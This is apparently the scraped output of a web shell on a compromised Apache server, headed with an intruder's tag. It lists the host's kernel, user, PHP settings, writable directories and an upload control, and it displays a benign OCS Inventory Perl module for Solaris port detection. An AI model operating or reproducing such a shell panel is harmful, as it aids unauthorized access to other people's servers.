Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/usr/share/perl5/vendor_perl/Ocsinventory/Agent/Backend/OS/Solaris/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/share/perl5/vendor_perl/Ocsinventory/Agent/Backend/OS/Solaris/Ports.pm
package Ocsinventory::Agent::Backend::OS::Solaris::Ports;

use strict;

sub run {
  my $params = shift;
  my $common = $params->{common};

  my $zone;
  my $SystemModel;
  my $aarch;

  my $flag;
  my $caption;
  my $description;
  my $name;
  my $type;

  if ( !$common->can_run("zonename") || `zonename` =~ /global/ ) {
    # Ether pre Sol10 or in Sol10/Sol11 global zone
    $zone = "global";
  } else {
    $zone = "";
  }

  if ($zone) {
    chomp($SystemModel = `uname -m`);
    chomp($aarch = `uname -p`);
    if( $aarch eq "i386" ){
      #
      # For a Intel/AMD arch, we're using smbios
      #
      foreach(`/usr/sbin/smbios -t SMB_TYPE_PORT`) {
        if(/\s+Internal Reference Designator:\s*(.+)/i ) {
          $flag = 1;
          $name = $1;
        }
        elsif ($flag && /^$/) { # end of section
          $flag = 0;

          $common->addPorts({
            CAPTION => $caption,
            DESCRIPTION => $description,
            NAME => $name,
            TYPE => $type,
          });

          $caption = $description = $name = $type = undef;
        }
        elsif ($flag) {
          $caption = $1 if /\s+External Connector Type:.*\((.+)\)/i;
          $description = $1 if /\s+External Reference Designator:\s*(.+)/i;
          $type = $1 if /\s+Port Type:.*\((.+)\)/i;
        }

      }
    }
    elsif( $aarch eq "sparc" ) {
      #
      # For a Sparc arch, we're done
      #
    }

  }
}

1;


Hry